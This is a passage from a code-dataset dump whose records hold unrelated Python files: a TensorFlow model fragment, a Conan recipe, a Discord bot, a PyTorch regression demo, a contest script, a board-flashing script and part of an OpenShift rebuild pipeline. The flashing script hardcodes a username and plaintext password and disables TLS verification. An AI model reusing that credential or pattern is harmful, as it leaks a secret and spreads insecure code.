\"\"\"\n        build input data for model input tensor\n        :param imgpaths: images path  array\n        :return: 3 channel image array\n        \"\"\"\n        images = np.array([imgutils.load_image(img_path) for img_path in imgpaths])\n        return [img.reshape(224, 224, 3) for img in images]\n\n\n    # def train(self, goon=False):\n    #     with tf.Session(config=self.config) as sess:\n    #         self.build_model()\n    #         init = tf.global_variables_initializer()\n    #         saver = tf.train.Saver()\n    #         if goon:\n    #             pass\n    #             saver.restore(sess, FLAGS.model_path)\n    #         else:\n    #             sess.run(init)\n    #         step = 1\n    #         while step * batch_size <= training_iters:\n    #             batch_x, batch_y = self.mnist.train.next_batch(batch_size)\n    #             batch_x = batch_x.reshape((batch_size, 784))\n    #             batch_x = np.repeat(batch_x, 2, axis=0)\n    #             # batch_y = np.repeat(batch_y, 2, axis=0)\n    #             sess.run(self.optimizer, feed_dict={self.cnn_model.x1:batch_x, self.cnn_model.x2:batch_x, self.rnn_model.y:batch_y, self.rnn_model.p:keep_prob})\n    #\n    #             if step % display_step == 0:\n    #                 acc, loss = sess.run([self.rnn_model.accuracy, self.rnn_model.cost], feed_dict={self.cnn_model.x1:batch_x, self.cnn_model.x2:batch_x, self.rnn_model.y:batch_y, self.rnn_model.p:1.0})\n    #                 print(\"Iter \" + str(step*batch_size) + \", Minibatch loss= \" + \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \"{:.5f}\".format(acc))\n    #             if step % save_step == 0 and need_save:\n    #                 test_data = self.mnist.test.images.reshape((-1, 784))\n    #                 test_data = np.repeat(test_data, 2, axis=0)\n    #                 test_label = self.mnist.test.labels\n    #                 # test_label = np.repeat(test_label, 2, axis=0)\n    #                 print(\"Testing Accuracy:\", sess.run(self.rnn_model.accuracy, feed_dict={self.cnn_model.x1:test_data, self.cnn_model.x2:test_data, self.rnn_model.y:test_label, self.rnn_model.p:1.0}))\n    #             step += 1\n\n\n","sub_path":"copyvgg/mv_model.py","file_name":"mv_model.py","file_ext":"py","file_size_in_byte":9155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"433862081","text":"from conans import ConanFile, tools\nfrom conans.errors import ConanInvalidConfiguration\nimport os\n\n\nclass CcclConan(ConanFile):\n    name = \"cccl\"\n    description = \"Unix cc compiler to Microsoft's cl compiler wrapper\"\n    topics = (\"conan\", \"msvc\", \"Visual Studio\", \"wrapper\", \"gcc\")\n    homepage = \"https://github.com/swig/cccl/\"\n    url = \"https://github.com/conan-io/conan-center-index\"\n    license = \"GPL-3.0-or-later\"\n    options = {\n        \"muffle\": [True, False],\n        \"verbose\": [True, False],\n    }\n    default_options = {\n        \"muffle\": True,\n        \"verbose\": False,\n    }\n    settings = \"compiler\",\n\n    _source_subfolder = \"source_subfolder\"\n\n    def configure(self):\n        if self.settings.compiler != \"Visual Studio\":\n            raise ConanInvalidConfiguration(\"This recipe support only Visual Studio\")\n        del self.settings.compiler\n\n    def package_id(self):\n        del self.info.options.muffle\n        del self.info.options.verbose\n\n    def source(self):\n        tools.get(**self.conan_data[\"sources\"][self.version])\n        os.rename(\"cccl-cccl-{}\".format(self.version), self._source_subfolder)\n\n        cccl_path = os.path.join(self.source_folder, self._source_subfolder, \"cccl\")\n        tools.replace_in_file(cccl_path,\n                              \"    --help)\",\n                              \"    *.lib)\\n\"\n                              \"        linkopt+=(\\\"$lib\\\")\"\n                              \"        ;;\\n\\n\"\n                              \"    --help)\")\n        tools.replace_in_file(cccl_path,\n                              \"clopt+=(\\\"$lib\\\")\",\n                              \"linkopt+=(\\\"$lib\\\")\")\n        tools.replace_in_file(cccl_path,\n                              \"    -L*)\",\n                              \"    -LIBPATH:*)\\n\"\n                              \"        linkopt+=(\\\"$1\\\")\\n\"\n                              \"        ;;\\n\\n\"\n                              \"    -L*)\")\n\n    def package(self):\n        self.copy(\"cccl\", src=os.path.join(self.source_folder, self._source_subfolder), dst=\"bin\")\n        self.copy(\"COPYING\", src=os.path.join(self.source_folder, self._source_subfolder), dst=\"licenses\")\n\n    def package_info(self):\n        self.cpp_info.bindirs = [\"bin\", ]\n\n        bindir = os.path.join(self.package_folder, \"bin\")\n        self.output.info('Appending PATH environment variable: {}'.format(bindir))\n        self.env_info.PATH.append(bindir)\n\n        cccl_args = [\n            \"sh\",\n            os.path.join(self.package_folder, \"bin\", \"cccl\"),\n        ]\n        if self.options.muffle:\n            cccl_args.append(\"--cccl-muffle\")\n        if self.options.verbose:\n            cccl_args.append(\"--cccl-verbose\")\n        cccl = \" \".join(cccl_args)\n\n        self.output.info(\"Setting CC to '{}'\".format(cccl))\n        self.env_info.CC = cccl\n        self.output.info(\"Setting CXX to '{}'\".format(cccl))\n        self.env_info.CXX = cccl\n        self.output.info(\"Setting LD to '{}'\".format(cccl))\n        self.env_info.LD = cccl\n","sub_path":"recipes/cccl/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"170055552","text":"import discord\nimport asyncio\nimport logintoken as token\n\nimport modules.GeneralModule as gm\nimport modules.YoutubeModule as yt\nimport modules.IdentityModule as im\n\nclient = discord.Client()\nmodules = {}\ngeneral_module = None\n\ndef register_modules():\n    global client\n    global modules\n\n    #modules['!command'] = Module()\n    modules['!yt'] = yt.YoutubeModule(client)\n    modules['!name'] = im.Identity(client)\n\n    pass\n\n# ticks 1'ce per second for modules\n# that require time based updates\nasync def ticker():\n    global modules\n\n    await asyncio.sleep(1)\n    asyncio.ensure_future(ticker())\n\n    for module in modules.values():\n        await module.update()\n\n# setup-on-connect\n@client.event\nasync def on_ready():\n    global modules\n    global general_module\n\n    print('Logged in as: ', client.user.name, '(', client.user.id, ')')\n\n    general_module = gm.GeneralModule(client, modules)\n    register_modules()\n\n    for module in modules.values():\n        await module.on_ready()\n    await general_module.on_ready()\n\n    asyncio.ensure_future(ticker())\n\n# dispatch messages to relevant modules\n# No relevant module found -> send it to the general module\n@client.event\nasync def on_message(message):\n    for key, value in modules.items():\n        if(message.content.startswith(key)):\n            print('DEBUG: sending message to: ', key)\n            await value.handle_message(message)\n            return\n    \n    await general_module.handle_message(message)\n\n@client.event\nasync def on_voice_state_update(before, after):\n    for value in modules.values():\n        await value.on_voice_change()\n\n    await general_module.on_voice_change()\n\n# run the thing\nclient.run(token.get_token())\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"396057803","text":"import torch\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# we want to model this linear equation:\n# y = wx + b \n\nx = torch.randn(100,1)*10 #100 rows, 1 column\ny = x + 3*torch.randn(100,1)\n\nplt.plot(x.numpy(), y.numpy(), 'o')\nplt.ylabel('y')\nplt.xlabel('x')\nplt.show()\n\nclass LR(nn.Module):\n\t\n\tdef __init__(self, input_size, output_size):\n\t\tsuper().__init__()\n\t\tself.linear = nn.Linear(input_size, output_size)\n\n\tdef forward(self, x):\n\t\tpred = self.linear(x)\n\t\treturn pred\n\n\ntorch.manual_seed(1)\nmodel = LR(1,1)\n\n[w, b] = model.parameters()\n\ndef get_params():\n\treturn (w[0][0].item(), b[0].item()) # .item() returns the scalar value\n\ndef plot_fit(title):\n\tplt.title = title\n\tw1, b1 = get_params()\n\tx1 = np.array([-30,30])\n\ty1 = w1*x1 + b1\n\tplt.plot(x1, y1, 'r')\n\tplt.scatter(x, y)\n\tplt.show()\n\nplot_fit('initial model')\n\n","sub_path":"walkthrough/linear_regression_02.py","file_name":"linear_regression_02.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"251905660","text":"from collections import Counter\nM = int(input())\nnum = []\nfor _ in range(M):\n    d , c = map(int,input().split())\n    num.append([d,c])\n#num = Counter(num)\ni = 0\nx , y = -1 , -1\nwhile len(num) != 1 and num[0][1] != 1:\n    if num[i][1] == 0:\n        num.pop(0)\n    else:\n        x = num[i][0]\n    if num[i][1] == 0:\n        num.pop(0)\n    else:\n        y = num[i][0]\n","sub_path":"etc_contest/disco/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"476091749","text":"#!/usr/bin/env python\nimport sys\nfrom subprocess import *\nimport os, shutil, re\nimport time\nimport fire\nimport zipfile, requests\nimport serial\nimport sh\nfrom tqdm import tqdm\n\nrequests.packages.urllib3.disable_warnings()\n\n\nclass flash_mrb(object):\n    def __init__(self):\n        if call(r\"ls /dev/ttyUSB*\", shell=True):\n            raise Exception(\"not inset debug borad\")\n        # call(r\"pkill minicom\", shell=True)\n        time.sleep(1)\n        self.ser2 = serial.Serial('/dev/ttyUSB2')\n        self.ser3 = serial.Serial('/dev/ttyUSB3')\n        self.filepath = os.path.join(os.getcwd(), time.strftime('ww%W%w/'))\n        json_file = \"ifwi_gr_mrb_bi.bin\"\n\n    def downfile(self, url):\n        # wget = Popen(r\"wget {url} --no-check-certificate  -P {filepath} --http-user=haowx --http-password='hw!QAZ1qaz' --no-proxy\".format(filepath=self.filepath, url=url), shell=True)\n        if os.path.exists(self.filepath):\n            shutil.rmtree(self.filepath[:-1] + \".old\", ignore_errors=True)\n            sh.mv(self.filepath, self.filepath[:-1] + \".old/\")\n        os.mkdir(self.filepath)\n        r = requests.get(url, auth=('haowx', 'hw!QAZ1qaz'), verify=False, stream=True)\n        # filename = re.search(r'(?<=userdebug/)(.*)', url).group(0)\n        filename = url.split('/')[-1]\n        print(filename)\n        if r.status_code != 200:\n            raise Exception(\"download file fail\")\n\n        length = int(r.headers['content-length'])\n        chunk_len = 0\n\n        timenow = time.time()\n        print(\"[DEBUG]:Download file\")\n        with open(self.filepath + filename, 'wb') as f:\n            for chunk in r.iter_content(chunk_size=512):\n                if chunk:\n                    f.write(chunk)\n                    chunk_len += 512\n                    if time.time() - timenow > 0.05:\n                        print(\"[{:.0%} ]downloadfile\".format(chunk_len / length), end=\"\\r\")\n                        timenow = time.time()\n                    # sys.stdout.write(\"\\r[{:.0f}%] downloadfile\".format(chunk_len/length *100))\n                    # sys.stdout.flush()\n        with zipfile.ZipFile(os.path.join(self.filepath, filename)) as f:\n            zip_list = f.namelist()\n            for i, zname in enumerate(zip_list):\n                f.extract(zname, self.filepath)\n                print(\"[{}/{}] zip extrac\".format(i + 1, len(zip_list)), end=\"\\r\")\n            # f.extractall(self.filepath)\n\n    def iocaplflash(self):\n        ioc = sh.Command(\"/opt/intel/platformflashtool/bin/ioc_flash_server_app\")\n        apl = sh.Command(\"/opt/intel/platformflashtool/bin/ias-spi-programmer\")\n        zipname = sh.ls(self.filepath)\n        binfile = \"ifwi.bin\" if \"acrn\" in zipname else \"ifwi_gr_mrb_b1.bin\"\n        ioc(\"-s\", \"/dev/ttyUSB2\", \"-t\", os.path.join(self.filepath, \"ioc_firmware_gp_mrb_fab_e.ias_ioc\"), _fg=True)\n        self.ser2.write(\"r\".encode())\n        time.sleep(1)\n        self.ser2.write(\"n1#\".encode())\n        time.sleep(1)\n        apl(\"--write\", os.path.join(self.filepath, binfile), _fg=True)\n\n    def cflasher(self):\n        if not self.ser2.isOpen():\n            raise Exception(\"is not open\")\n        # self.ser2.write(\"r\".encode())\n        # if self.ser2.read().find(\"Logic Core Initialisation done\"):\n        # log_file = os.path.join(self.filepath,\"\")\n        # while True:\n        #    line = self.ser2.readline().decode()\n        #    if line is None:\n        #        break\n        self.ser2.write(\"r\".encode())\n        time.sleep(1)\n        self.ser2.write(\"n4#\".encode())\n\n        zipname = sh.ls(self.filepath)\n        json = \"SOS_and_AaaG\" if \"acrn\" in zipname else \"blank_gr_mrb_b1\"\n        jsonname = \"flash_AaaG.json\" if \"acrn\" in zipname else \"flash.json\"\n        sh.cflasher(\"-f\", self.filepath + jsonname, \"-c\", json, _fg=True)\n\n    def write_and_except(self, data, except_data, timeout=20):\n        pass\n\n\nif __name__ == '__main__':\n    fire.Fire(flash_mrb)\n","sub_path":"flashmrb.py","file_name":"flashmrb.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"394196764","text":"import asyncio\nimport logging\nimport os\nimport re\nimport shutil\nfrom collections import namedtuple\nfrom configparser import ConfigParser\nfrom datetime import datetime\nfrom enum import Enum\nfrom io import TextIOWrapper\nfrom pathlib import Path\nfrom typing import Dict, Iterable, List, Optional, Tuple\n\nimport click\nimport yaml\nfrom aioredlock import LockError\nfrom doozerlib.assembly import AssemblyTypes\nfrom pyartcd import constants, exectools, locks\nfrom pyartcd.cli import cli, click_coroutine, pass_runtime\nfrom pyartcd.record import parse_record_log\nfrom pyartcd.runtime import Runtime\nfrom pyartcd.util import (get_assembly_type, isolate_el_version_in_branch,\n                          isolate_el_version_in_release, load_group_config,\n                          load_releases_config)\n\n\nclass RebuildType(Enum):\n    IMAGE = 0\n    RPM = 1\n    RHCOS = 2\n\n\nPlashetBuildResult = namedtuple(\"PlashetBuildResult\", (\"repo_name\", \"local_dir\", \"remote_url\"))\n\n\nclass RebuildPipeline:\n    \"\"\" Rebuilds a component for an assembly \"\"\"\n\n    def __init__(self, runtime: Runtime, group: str, assembly: str,\n                 type: RebuildType, dg_key: str, ocp_build_data_url: str, logger: Optional[logging.Logger] = None):\n        if type in [RebuildType.RPM, RebuildType.IMAGE] and not dg_key:\n            raise ValueError(\"'dg_key' is required.\")\n        elif type == RebuildType.RHCOS and dg_key:\n            raise ValueError(\"'dg_key' is not supported when rebuilding RHCOS.\")\n\n        self.runtime = runtime\n        self.group = group\n        self.assembly = assembly\n        self.type = type\n        self.dg_key = dg_key\n        self.logger = logger or runtime.logger\n        self.ocp_build_data_url = ocp_build_data_url\n\n        # determines OCP version\n        match = re.fullmatch(r\"openshift-(\\d+).(\\d+)\", group)\n        if not match:\n            raise ValueError(f\"Invalid group name: {group}\")\n        self._ocp_version = (int(match[1]), int(match[2]))\n\n        # sets environment variables for Doozer\n        self._doozer_env_vars = os.environ.copy()\n        self._doozer_env_vars[\"DOOZER_WORKING_DIR\"] = str(self.runtime.working_dir / \"doozer-working\")\n\n        if not ocp_build_data_url:\n            ocp_build_data_url = self.runtime.config.get(\"build_config\", {}).get(\"ocp_build_data_url\",\n                                                                                 constants.OCP_BUILD_DATA_URL)\n        if ocp_build_data_url:\n            self._doozer_env_vars[\"DOOZER_DATA_PATH\"] = ocp_build_data_url\n\n    async def run(self):\n        timestamp = datetime.utcnow().strftime(\"%Y%m%d%H%M\")\n        release = f\"{timestamp}.p?\"\n\n        group_config = await load_group_config(self.group, self.assembly, env=self._doozer_env_vars,\n                                               doozer_data_path=self.ocp_build_data_url)\n        releases_config = await load_releases_config(\n            group=self.group,\n            data_path=self.ocp_build_data_url\n        )\n\n        if get_assembly_type(releases_config, self.assembly) == AssemblyTypes.STREAM:\n            raise ValueError(\"You may not rebuild a component for a stream assembly.\")\n\n        if self.type == RebuildType.RPM:\n            # Rebases and builds the specified rpm\n            nvrs = await self._rebase_and_build_rpm(release)\n            if self.runtime.dry_run:\n                # fake rpm nvrs for dry run\n                nvrs = [\n                    f\"foo-0.0.1-{timestamp}.p0.git.1234567.assembly.{self.assembly}.el8\",\n                    f\"foo-0.0.1-{timestamp}.p0.git.1234567.assembly.{self.assembly}.el7\",\n                ]\n        elif self.type == RebuildType.IMAGE:\n            # Determines RHEL version that the image is based on\n            image_config = await self._get_meta_config()\n            branch = image_config.get(\"distgit\", {}).get(\"branch\", group_config[\"branch\"])\n            el_version = isolate_el_version_in_branch(branch)\n            if el_version is None:\n                raise ValueError(f\"Couldn't determine RHEL version for image {self.dg_key}\")\n\n            plashets, _ = await asyncio.gather(\n                # Builds plashet repos\n                self._build_plashets(timestamp, el_version, group_config, image_config),\n                # Rebases distgit repo\n                self._rebase_image(release),\n            )\n\n            # Generates rebuild.repo\n            overrides_plashet_dir = plashets[-1][1]\n            with open(overrides_plashet_dir / \"rebuild.repo\", \"w\") as file:\n                self._generate_repo_file_for_image(file, plashets, group_config[\"arches\"])\n\n            # Copies plashet repos out to ocp-artifacts\n            await asyncio.gather(*[\n                self._copy_plashet_out_to_remote(el_version, plashet[1]) for plashet in plashets\n            ])\n\n            # Builds image\n            nvrs = await self._build_image(plashets[-1][2] + \"/rebuild.repo\")\n            if self.runtime.dry_run:\n                # Fakes image nvrs for dry run\n                nvrs = [\n                    f\"foo-container-0.0.1-{timestamp}.p0.git.1234567.assembly.{self.assembly}\",\n                ]\n        else:  # self.type == RebuildType.RHCOS:\n            # Builds plashet repos\n            el_version = 8  # FIXME: Currently RHCOS is based on RHEL8, hardcode RHEL version here\n            plashets = await self._build_plashets(timestamp, el_version, group_config, None)\n\n            # Generates rebuild.repo\n            overrides_plashet_dir = plashets[-1][1]\n            with open(overrides_plashet_dir / \"rebuild.repo\", \"w\") as file:\n                self._generate_repo_file_for_rhcos(file, plashets)\n\n            # Copies plashet repos out to ocp-artifacts\n            await asyncio.gather(*[\n                self._copy_plashet_out_to_remote(el_version, plashet[1]) for plashet in plashets\n            ])\n\n            # Prints further instructions\n            click.secho(f\"RHCOS build is not triggered by this job. Please manually run the individual rhcos build jobs on the arch-specific rhcos build clusters with the following Plashet repo:\\n\\t{plashets[-1][2]}/rebuild.repo\", fg=\"yellow\")\n\n        # Prints example schema\n        if self.type in [RebuildType.RPM, RebuildType.IMAGE]:\n            click.secho(\"Build completes. Please update the assembly schema in releases.yaml to pin the following NVR(s) to the assembly:\\n\", fg=\"green\")\n            for nvr in nvrs:\n                click.secho(f\"\\t{nvr}\", fg=\"green\")\n            example_schema = yaml.safe_dump(self._generate_example_schema(nvrs))\n            click.secho(f\"\\nExample schema:\\n\\n{example_schema}\", fg=\"green\")\n\n    async def _build_plashet_from_tags(self, name: str, directory_name: str, el_version: int, arches: List[str], tag_pvs: Iterable[Tuple[str, str]], embargoed_tags: Optional[Iterable[str]], signing_advisory: Optional[int]) -> PlashetBuildResult:\n        \"\"\" Builds Plashet repo with \"from-tags\"\n        :param name: Plashet repo name\n        :param directory_name: Directory name for the plashet repo\n        :param el_version: RHEL version\n        :param arches: List of arch names\n        :param tag_pvs: A list of (brew_tag, product_version) whose RPMs should be included in the repo.\n        :param tag: a Brew tag name; rpms found in\n        :param product_version: Errata product version for this Brew tag\n        :param embargoed_tags: If specified, any rpms found in these tags will be considered embargoed (unless they have already shipped)\n        :param signing_advisory: If specified, use this advisory for auto-signing\n        :return: (repo_name, local_dir, remote_url)\n        \"\"\"\n        if not name:\n            raise ValueError(\"`name` cannot be empty.\")\n        if not directory_name:\n            raise ValueError(\"`directory_name` cannot be empty.\")\n        if not arches:\n            raise ValueError(\"`arches` cannot be empty.\")\n        if not tag_pvs:\n            raise ValueError(\"`tag_pvs` cannot be empty.\")\n        self.logger.info(\"Building plashet %s - RHEL %s for assembly %s...\", directory_name, el_version, self.assembly)\n        base_dir = self.runtime.working_dir / f\"plashets/el{el_version}/{self.assembly}\"\n        plashet_dir = base_dir / directory_name\n        if plashet_dir.exists():\n            shutil.rmtree(plashet_dir)\n        base_dir.mkdir(parents=True, exist_ok=True)\n        signing_mode = \"signed\"  # We assume rpms used in rebuild job should be always signed\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"config:plashet\",\n            \"--base-dir\", str(base_dir),\n            \"--name\", directory_name,\n            \"--repo-subdir\", \"os\"\n        ]\n        for arch in arches:\n            cmd.extend([\"--arch\", arch, signing_mode])\n        major, minor = self._ocp_version\n        cmd.extend([\n            \"from-tags\",\n            \"--signing-advisory-id\", f\"{signing_advisory or 54765}\",\n            \"--signing-advisory-mode\", \"clean\",\n            \"--include-embargoed\",\n            \"--inherit\",\n        ])\n        if embargoed_tags:\n            for t in embargoed_tags:\n                cmd.extend([\"--embargoed-brew-tag\", t])\n        # Currently plashet for-assembly only needs rpms from stream assembly plus those pinned by \"is\" and group dependencies\n        for tag, pv in tag_pvs:\n            cmd.extend([\"--brew-tag\", tag, pv])\n\n        if self.runtime.dry_run:\n            plashet_dir.mkdir(parents=True, exist_ok=True)\n            self.logger.warning(\"[Dry run] Would have run %s\", cmd)\n        else:\n            await exectools.cmd_assert_async(cmd, env=self._doozer_env_vars)\n\n        remote_url = constants.PLASHET_REMOTE_URL + f\"/{major}.{minor}\"\n        if el_version >= 8:\n            remote_url += f\"-el{el_version}\"\n        remote_url += f\"/{self.assembly}/{directory_name}\"\n        return PlashetBuildResult(name, plashet_dir, remote_url)\n\n    async def _build_plashet_for_assembly(self, name: str, directory_name: str, el_version: int, arches: List[str], signing_advisory: Optional[int]) -> PlashetBuildResult:\n        \"\"\" Builds Plashet with \"for-assembly\"\n        :param name: Plashet repo name\n        :param directory_name: Directory name for the plashet repo\n        :param el_version: RHEL version\n        :param arches: List of arch names\n        :return: (repo_name, local_dir, remote_url)\n        \"\"\"\n        if not name:\n            raise ValueError(\"`name` cannot be empty.\")\n        if not directory_name:\n            raise ValueError(\"`directory_name` cannot be empty.\")\n        if not arches:\n            raise ValueError(\"`arches` cannot be empty.\")\n        self.logger.info(\"Building plashet %s for EL%s...\", directory_name, el_version)\n        base_dir = self.runtime.working_dir / f\"plashets/el{el_version}/{self.assembly}\"\n        plashet_dir = base_dir / directory_name\n        if plashet_dir.exists():\n            shutil.rmtree(plashet_dir)\n        base_dir.mkdir(parents=True, exist_ok=True)\n        signing_mode = \"signed\"  # We assume rpms used in rebuild job should be always signed\n        cmd = [\n            \"doozer\",\n            \"--data-path\", self.ocp_build_data_url,\n            \"--group\", self.group,\n            \"--assembly\", self.assembly,\n            \"config:plashet\",\n            \"--base-dir\", str(base_dir),\n            \"--name\", directory_name,\n            \"--repo-subdir\", \"os\"\n        ]\n        for arch in arches:\n            cmd.extend([\"--arch\", arch, signing_mode])\n        cmd.extend([\n            \"for-assembly\",\n            \"--signing-advisory-id\", f\"{signing_advisory or 54765}\",\n            \"--signing-advisory-mode\", \"clean\",\n            \"--el-version\", f\"{el_version}\",\n        ])\n        if self.type == RebuildType.IMAGE:\n            cmd.extend([\"--image\", self.dg_key])\n        elif self.type == RebuildType.RHCOS:\n            cmd.append(\"--rhcos\")\n        else:\n            raise ValueError(\"Rebuild type is not IMAGE or RHCOS.\")\n        if self.runtime.dry_run:\n            plashet_dir.mkdir(parents=True, exist_ok=True)\n            self.logger.warning(\"[Dry run] Would have run %s\", cmd)\n        else:\n            await exectools.cmd_assert_async(cmd, env=self._doozer_env_vars)\n\n        major, minor = self._ocp_version\n        remote_url = constants.PLASHET_REMOTE_URL + f\"/{major}.{minor}\"\n        if el_version >= 8:\n            remote_url += f\"-el{el_version}\"\n        remote_url += f\"/{self.assembly}/{directory_name}\"\n        return PlashetBuildResult(name, plashet_dir, remote_url)\n\n    async def _copy_plashet_out_to_remote(self, el_version: int, local_plashet_dir: os.PathLike, symlink_name: Optional[str] = None):\n        \"\"\" Copies plashet out to remote host (ocp-artifacts)\n        \"\"\"\n        # Make sure the remote base dir exist\n        major, minor = self._ocp_version\n        remote_dir = f\"{constants.PLASHET_REMOTE_BASE_DIR}/{major}.{minor}\"\n        if el_version >= 8:\n            remote_dir += f\"-el{el_version}\"\n        remote_dir += f\"/{self.assembly}\"\n        cmd = [\n            \"ssh\",\n            constants.PLASHET_REMOTE_HOST,\n            \"--\",\n            \"mkdir\",\n            \"-p\",\n            \"--\",\n            remote_dir,\n        ]\n        if self.runtime.dry_run:\n            self.logger.warning(\"[DRY RUN] Would have run %s\", cmd)\n        else:\n            await exectools.cmd_assert_async(cmd)\n\n        # Copy local dir to to remote\n        cmd = [\n            \"rsync\",\n            \"-av\",\n            \"--links\",\n            \"--progress\",\n            \"-h\",\n            \"--no-g\",\n            \"--omit-dir-times\",\n            \"--chmod=Dug=rwX,ugo+r\",\n            \"--perms\",\n            \"--\",\n            f\"{local_plashet_dir}\",\n            f\"{constants.PLASHET_REMOTE_HOST}:{remote_dir}\"\n        ]\n        if self.runtime.dry_run:\n            self.logger.warning(\"[DRY RUN] Would have run %s\", cmd)\n        else:\n            await exectools.cmd_assert_async(cmd)\n\n        if symlink_name:\n            # Make a symlink\n            cmd = [\n                \"ssh\",\n                constants.PLASHET_REMOTE_HOST,\n                \"--\",\n                \"ln\",\n                \"-sfn\",\n                \"--\",\n                f\"{Path(local_plashet_dir).name}\",\n                f\"{remote_dir}/{symlink_name}\",\n            ]\n            if self.runtime.dry_run:\n                self.logger.warning(\"[DRY RUN] Would have run %s\", cmd)\n            else:\n                await exectools.cmd_assert_async(cmd)\n\n    async def _build_plashets(self, timestamp: str, el_version: int, group_config: Dict, image_config: Optional[Dict]) -> List[PlashetBuildResult]:\n        \"\"\" Build plashet repos and return the URL to rebuild.repo\n        :return: A List of tuples in the form of (repo_name, plashet_dir, plashet_url).\n        \"\"\"\n        major, minor = self._ocp_version\n\n        # FIXME: This dict contains config data for creating plashet repos. Maybe someday this should go to ocp-build-data.\n        PLASHET_CONFIGS = {\n            f\"rhel-{el_version}-server-ose-rpms-embargoed\": (\n                \"basis\",  # directory name suffix for the basis plashet repo\n                f\"rhaos-{major}.{minor}-rhel-{el_version}-candidate\",  # brew tag\n                f\"OSE-{major}.{minor}-RHEL-{el_version}\" if el_version >= 8 else f\"RHEL-{el_version}-OSE-{major}.{minor}\",  # product version\n            ),\n            f\"rhel-{el_version}-server-ironic-rpms\": (\n                \"ironic\",  # directory name suffix for the basis plashet repo\n                f\"rhaos-{major}.{minor}-ironic-rhel-{el_version}-candidate\",  # brew tag\n                f\"OSE-IRONIC-{major}.{minor}-RHEL-{el_version}\",  # product version\n            ),\n        }\n        EMBARGOED_TAGS = [f\"rhaos-{major}.{minor}-rhel-{el_version}-embargoed\"]\n\n        arches = group_config[\"arches\"]\n        signing_advisory = group_config.get(\"signing_advisory\")\n\n        plashets: List[PlashetBuildResult] = []\n        if self.type == RebuildType.IMAGE:\n            # Build \"basis\" plashet repos with \"from-tags\"\n            repos = image_config.get(\"enabled_repos\", []) & PLASHET_CONFIGS.keys()\n            for repo in repos:\n                plashet_config = PLASHET_CONFIGS[repo]\n                basis_repo_dir = f\"{self.assembly}-{timestamp}-image-{self.dg_key}-{plashet_config[0]}\"\n                self.logger.info(\"Building basis plashet repo %s from Brew tag %s for image %s...\", basis_repo_dir, plashet_config[1], self.dg_key)\n                plashets.append(await self._build_plashet_from_tags(repo, basis_repo_dir, el_version, arches, (plashet_config[1:3],), EMBARGOED_TAGS, signing_advisory))\n            # Build \"overrides\" plashet repo with \"for-assembly\"\n            overrides_repo_dir = f\"{self.assembly}-{timestamp}-image-{self.dg_key}-overrides\"\n            self.logger.info(\"Building overrides plashet repo %s from for image %s...\", overrides_repo_dir, self.dg_key)\n            plashets.append(await self._build_plashet_for_assembly(\"plashet-rebuild-overrides\", overrides_repo_dir, el_version, arches, signing_advisory))\n        elif self.type == RebuildType.RHCOS:\n            plashet_config = PLASHET_CONFIGS[f\"rhel-{el_version}-server-ose-rpms-embargoed\"]\n            basis_repo_dir = f\"{self.assembly}-{timestamp}-rhcos-{plashet_config[0]}\"\n            overrides_repo_dir = f\"{self.assembly}-{timestamp}-rhcos-overrides\"\n            # Build \"basis\" plashet repo with \"from-tags\"\n            self.logger.info(\"Building basis plashet repo %s from Brew tag %s for RHCOS...\", basis_repo_dir, plashet_config[1])\n            plashets.append(await self._build_plashet_from_tags(\"plashet-rebuild-basis\", basis_repo_dir, el_version, arches, (plashet_config[1:3],), EMBARGOED_TAGS, signing_advisory))\n            # Build \"overrides\" plashet repo with \"for-assembly\"\n            self.logger.info(\"Building overrides plashet repo %s from for RHCOS...\", overrides_repo_dir)\n            plashets.append(await self._build_plashet_for_assembly(\"plashet-rebuild-overrides\", overrides_repo_dir, el_version, arches, signing_advisory))\n        else:\n            raise ValueError(f\"Building plashets for component type {self.type} is not supported.\")\n\n        return plashets\n\n    def _generate_repo_file_for_image(self, file: TextIOWrapper, plashets: Iterable[PlashetBuildResult], arches):\n        # Copy content of .oit/signed.repo in the distgit repo\n        source_path = Path(self._doozer_env_vars[\"DOOZER_WORKING_DIR\"]) / f\"distgits/containers/{self.dg_key}/.oit/signed.repo\"\n        repo_content = source_path.read_text()\n\n        yum_repos = ConfigParser()\n        yum_repos.read_string(repo_content)\n\n        # Remove original plashet repos\n        for repo_name, _, _2 in plashets:\n            # remove_section is a no-op on non-existent sections\n            yum_repos.remove_section(f\"{repo_name}\")\n            for arch in arches:\n                yum_repos.remove_section(f\"{repo_name}-{arch}\")\n\n        for repo_name, _, repo_url in plashets:\n            yum_repos[repo_name] = {}\n            yum_repos[repo_name][\"name\"] = repo_name\n            yum_repos[repo_name][\"baseurl\"] = f\"{repo_url}/$basearch/os\"\n            yum_repos[repo_name][\"enabled\"] = \"1\"\n            if repo_name == \"plashet-rebuild-overrides\":\n                yum_repos[repo_name][\"gpgcheck\"] = \"0\"  # We might have include beta signed / unsigned rpms for overrides\n                yum_repos[repo_name][\"priority\"] = \"1\"  # https://wiki.centos.org/PackageManagement/Yum/Priorities\n            else:\n                yum_repos[repo_name][\"gpgcheck\"] = \"1\"\n                yum_repos[repo_name][\"gpgkey\"] = \"file:///etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release\"\n\n        file.writelines([\n            \"# These repositories are generated by the OpenShift Automated Release Team\\n\",\n            \"# https://issues.redhat.com/browse/ART-3154\\n\",\n            \"\\n\",\n        ])\n        yum_repos.write(file)\n\n    def _generate_repo_file_for_rhcos(self, file: 